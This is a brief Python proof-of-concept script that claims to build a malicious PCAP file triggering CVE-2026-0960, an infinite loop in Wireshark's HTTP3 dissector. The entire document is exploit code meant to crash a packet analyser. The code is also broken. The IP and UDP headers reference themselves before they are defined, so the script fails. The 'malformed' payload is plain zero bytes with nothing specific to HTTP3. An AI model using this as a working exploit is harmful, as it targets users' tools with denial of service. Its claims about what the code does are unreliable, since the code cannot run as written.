import struct
def create_malicious_pcap():
"""
Generate a malicious PCAP file that triggers CVE-2026-0960
Wireshark HTTP3 protocol dissector infinite loop
"""
# PCAP Global Header
pcap_header = struct.pack('<IHHiIII',
0xa1b2c3d4, # Magic number
2, # Major version
4, # Minor version
0, # Timezone
0, # Timestamp accuracy
65535, # Snap length
1 # Link layer type (Ethernet)
)
# Malicious packet that triggers infinite loop in HTTP3 dissector
# This packet has malformed HTTP3 headers that confuse the parser
malformed_http3 = b'\x00' * 100 # Padding to trigger parsing loop
malformed_http3 += b'\x00\x00\x00' # Malformed header that causes infinite loop
# IP Header
ip_header = struct.pack('!BBHHHBBH4s4s',
0x45, # Version and IHL
0, # TOS
len(ip_header + malformed_http3) + 14, # Total length
0, # ID
0, # Flags and Fragment
64, # TTL
17, # Protocol (UDP)
0, # Checksum
b'\xc0\xa8\x01\x01', # Source IP
b'\xc0\xa8\x01\x02' # Dest IP
)
# UDP Header
udp_header = struct.pack('!HHHH',
12345, # Source port
4433, # Dest port (HTTP3 port)
len(udp_header + malformed_http3), # Length
0 # Checksum
)
# Ethernet Header
eth_header = b'\x00\x11\x22\x33\x44\x55' + b'\x66\x77\x88\x99\xaa\xbb' + b'\x08\x00'
# Packet data
packet_data = eth_header + ip_header + udp_header + malformed_http3
# PCAP Packet Header
packet_header = struct.pack('<IIII',
0, # Timestamp seconds
0, # Timestamp microseconds
len(packet_data), # Captured length
len(packet_data) # Original length
)
with open('CVE-2026-0960.poc.pcap', 'wb') as f:
f.write(pcap_header)
f.write(packet_header)
f.write(packet_data)
print("Malicious PCAP file created: CVE-2026-0960.poc.pcap")
if __name__ == '__main__':
create_malicious_pcap()